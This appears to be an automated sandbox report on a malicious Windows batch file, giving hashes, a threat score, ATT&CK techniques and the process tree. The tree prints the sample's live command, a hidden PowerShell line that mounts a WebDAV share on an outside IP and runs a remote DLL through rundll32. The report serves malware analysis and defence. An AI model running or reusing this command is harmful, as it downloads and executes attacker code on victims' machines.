bb58d6217b5098bffcf750f1d6c51d6cf4d0d10de4df89e3e88fdb813b87f266

Analysis

max time kernel
122s
max time network
124s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
15/07/2024, 06:05

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General

Target

1969732479259286114.bat
Size

2KB
MD5

727e7529433f7aa759bc70a3a19526f5
SHA1

c9d29f4e470df3b65cd73d8dde52c4967b9a2ea9
SHA256

bb58d6217b5098bffcf750f1d6c51d6cf4d0d10de4df89e3e88fdb813b87f266
SHA512

b2873627be5e0dc32eab95978ee0590cf245ac25f4ac80b6a30e75e5c395bb23aaa9212ea0e79becf8d7363cc1dfa8ca1cde126320060126d77fe19235f4325f

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2236	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2236	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2236	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
824	wordpad.exe
824	wordpad.exe
824	wordpad.exe
824	wordpad.exe
824	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2308 wrote to memory of 824	2308	cmd.exe	31
PID 2308 wrote to memory of 824	2308	cmd.exe	31
PID 2308 wrote to memory of 824	2308	cmd.exe	31
PID 2308 wrote to memory of 2236	2308	cmd.exe	32
PID 2308 wrote to memory of 2236	2308	cmd.exe	32
PID 2308 wrote to memory of 2236	2308	cmd.exe	32
PID 2236 wrote to memory of 2676	2236	powershell.exe	34
PID 2236 wrote to memory of 2676	2236	powershell.exe	34
PID 2236 wrote to memory of 2676	2236	powershell.exe	34
PID 2236 wrote to memory of 2532	2236	powershell.exe	35
PID 2236 wrote to memory of 2532	2236	powershell.exe	35
PID 2236 wrote to memory of 2532	2236	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1969732479259286114.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2308
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2811.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2676
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2811.dll entry
    3⤵
    PID:2532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2236-23-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2236-24-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download